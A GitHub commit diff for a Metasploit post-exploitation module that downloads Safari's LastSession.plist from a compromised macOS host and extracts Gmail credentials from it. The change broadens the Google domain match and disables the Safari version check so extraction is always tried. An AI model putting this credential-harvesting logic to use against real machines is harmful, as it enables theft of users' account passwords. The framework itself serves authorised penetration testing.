Skip to content

Commit c2783c2

Browse files
committed
Land rapid7#2798, @wchen-r7 update to safari post module
2 parents 95c4092 + 78db742 commit c2783c2

File tree

1 file changed

+15
-9
lines changed

1 file changed

+15
-9
lines changed

modules/post/osx/gather/safari_lastsession.rb

Lines changed: 15 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -14,11 +14,15 @@ def initialize(info={})
1414
super( update_info( info,
1515
'Name' => 'OSX Gather Safari LastSession.plist',
1616
'Description' => %q{
17-
This module downloads the LastSession.plist file from the target machine.
18-
LastSession.plist is used by Safari to track active websites in the current
19-
session, and sometimes contains sensitive information such as usernames and
20-
passwords. This module will first download the original LastSession.plist,
21-
and then attempt to find the credential for Gmail.
17+
This module downloads the LastSession.plist file from the target machine.
18+
LastSession.plist is used by Safari to track active websites in the current session,
19+
and sometimes contains sensitive information such as usernames and passwords.
20+
21+
This module will first download the original LastSession.plist, and then attempt
22+
to find the credential for Gmail. The Gmail's last session state may contain the
23+
user's credential if his/her first login attempt failed (likely due to a typo),
24+
and then the page got refreshed or another login attempt was made. This also means
25+
the stolen credential might contains typos.
2226
},
2327
'License' => MSF_LICENSE,
2428
'Author' => [ 'sinn3r'],
@@ -111,16 +115,16 @@ def get_sessions(lastsession)
111115
#
112116
# Returns the <dict> session element
113117
# @param xml [REXML::Element] The array element for the session data
114-
# @param domain [String] The domain to search for
118+
# @param domain [Regexp] The domain to search for
115119
# @return [REXML::Element] The <dict> element for the session data
116120
#
117-
def get_session_element(xml, domain)
121+
def get_session_element(xml, domain_regx)
118122
dict = nil
119123

120124
found = false
121125
xml.each_element do |e|
122126
e.elements['array/dict'].each_element do |e2|
123-
if e2.text =~ /#{domain}/
127+
if e2.text =~ domain_regx
124128
dict = e
125129
found = true
126130
break
@@ -141,7 +145,7 @@ def get_session_element(xml, domain)
141145
#
142146
def find_gmail_cred(xml)
143147
vprint_status("#{peer} - Looking for username/password for Gmail.")
144-
gmail_dict = get_session_element(xml, 'mail.google.com')
148+
gmail_dict = get_session_element(xml, /(mail|accounts)\.google\.com/)
145149
return '' if gmail_dict.nil?
146150

147151
raw_data = gmail_dict.elements['array/dict/data'].text
@@ -179,6 +183,7 @@ def run
179183
#
180184
# If this is an unpatched version, we try to extract creds
181185
#
186+
=begin
182187
version = get_safari_version
183188
if version.blank?
184189
print_warning("Unable to determine Safari version, will try to extract creds anyway")
@@ -188,6 +193,7 @@ def run
188193
else
189194
vprint_status("#{peer} - Safari version: #{version}")
190195
end
196+
=end
191197

192198
#
193199
# Attempts to convert the XML file to an actual XML object, with the <array> element

0 commit comments

Comments
 (0)